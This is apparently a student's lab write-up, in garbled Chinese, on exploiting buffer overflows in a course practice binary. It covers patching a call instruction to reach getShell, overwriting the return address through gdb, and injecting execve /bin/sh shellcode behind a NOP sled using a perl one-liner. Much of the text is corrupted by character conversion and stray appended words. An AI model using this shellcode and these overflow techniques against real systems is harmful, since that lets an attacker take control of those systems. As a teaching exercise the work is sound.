https://www.cnblogs.com/crazylqy/p/5818745.htmlhtml
http://blog.csdn.net/zl_best/article/details/53504712linux
緩衝區溢出是一種很是廣泛、很是危險的漏洞,在各類操做系統、應用軟件中普遍存在。利用緩衝區溢出攻擊,能夠致使程序運行失敗、系統宕機、從新啓動等後果。更爲嚴重的是,能夠利用它執行非受權指令,甚至能夠取得系統特權,進而進行各類非法操做。shell
攻擊原理:windows
經過往程序的緩衝區寫超出其長度的內容,形成緩衝區的溢出,從而破壞程序的堆棧,形成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。形成緩衝區溢出的緣由是程序中沒有仔細檢查用戶輸入的參數。例以下面程序:網絡
void function(char *str) { char buffer[16]; strcpy(buffer,str); }
上面的strcpy()將直接把str中的內容copy到buffer中。這樣只要str的長度大於16,就會形成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。函數
固然,隨便往緩衝區中填東西形成它溢出通常只會出現「分段錯誤」(Segmentation fault),而不能達到攻擊的目的。最多見的手段是經過製造緩衝區溢出使程序運行一個用戶shell,再經過shell執行其它命令。若是該程序有root或者suid執行權限的話,攻擊者就得到了一個有root權限的shell,能夠對系統進行任意操做了。工具
參考網頁學習
http://blog.csdn.net/luoying198791/article/details/20715499ui
實驗過程:操作系統
objdump -d pwn1_20155308
命令對文件進行反彙編。vi pwn1_20155308
編輯文件,經過命令:%! xxd
把文件轉爲十六進制編輯模式/d7ff
查找要修改的內容main函數調用foo,對應機器指令爲「 e8 d7ffffff」,
那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。
用Windows計算器,直接 47d-4ba就能獲得補碼,是c3ffffff。
i
進入編輯模式,即把d7爲c3:%! xxd -r
將文件轉回至二進制形式:wq
保存並退出objdump -d pwn1_20155308
命令對文件進行反彙編,觀察到程序已從原來跳轉至foo函數變爲跳轉至getshell函數實驗結果:
objdump -d pwn1 | more
注意這個函數getShell,咱們的目標是觸發這個函數
該可執行文件正常運行是調用以下函數foo,這個函數有Buffer overflow漏洞
這裏讀入字符串,但系統只預留了__字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址
上面的call調用foo,同時在堆棧上壓上返回地址值:++80484ba++
輸入命令gdb pwn2_20155308
進行調試
經過命令r
進行運行,經過命令info r
可查看各寄存器的值
若是輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。
getShell的內存地址,經過反彙編時能夠看到,即0804847d。
接下來要確認下字節序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,仍是輸入11111111222222223333333344444444\x7d\x84\x04\x08。
對比以前 ==eip 0x34333231 0x34333231== ,正確應用輸入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。
由爲咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此先生成包括這樣字符串的一個文件。\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
最基本的shellcode的編寫可參考許同窗的文章Shellcode入門,寫得很是之清楚詳實。如下實踐即便用該文章中生成的shellcode。以下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
◦輸入命令execstack -s pwn1
設置堆棧可執行。可是系統提示「未找到命令」,則應輸入命令apt-get install execstack
進行安裝。系統會提示產生一下錯誤,我上網尋找了答案,應該輸入如下命令給它管理員權限。
以後根據命令輸入。
-由於retaddr在緩衝區的位置是固定的,shellcode要不在它前面,要不在它後面。
簡單說緩衝區小就把shellcode放後邊,緩衝區大就把shellcode放前邊
-咱們這個buf夠放這個shellcode了。
結構爲:nops+shellcode+retaddr。
nop一爲是了填充,二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。
root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
接下來咱們來肯定\x4\x3\x2\x1到底該填什麼。
個人這個部分在文檔裏忽然出錯,而後怎麼解決都沒有解決,因此我到桌面上繼續進行這個方面的實踐。
打開一個終端注入這段攻擊buf:
(cat input_shellcode;cat) | ./pwn1_20155308
再開另一個終端,用gdb來調試pwn1這個進程。
注意運行時的這個地址
計算出地址應爲0xffffd300
再次攻擊,成功了!!
本次實驗是關於PC平臺逆向破解的實驗,在課堂上老師已經對本次實驗進行了講解,而且咱們在課堂上已經實現了一部分,因此感受課下的工做並非很難。 經過本次實驗,我對於本課的知識有了必定的瞭解,而且以爲若是想要學好這門課,必定要作好課上認真聽講,課下進行實踐。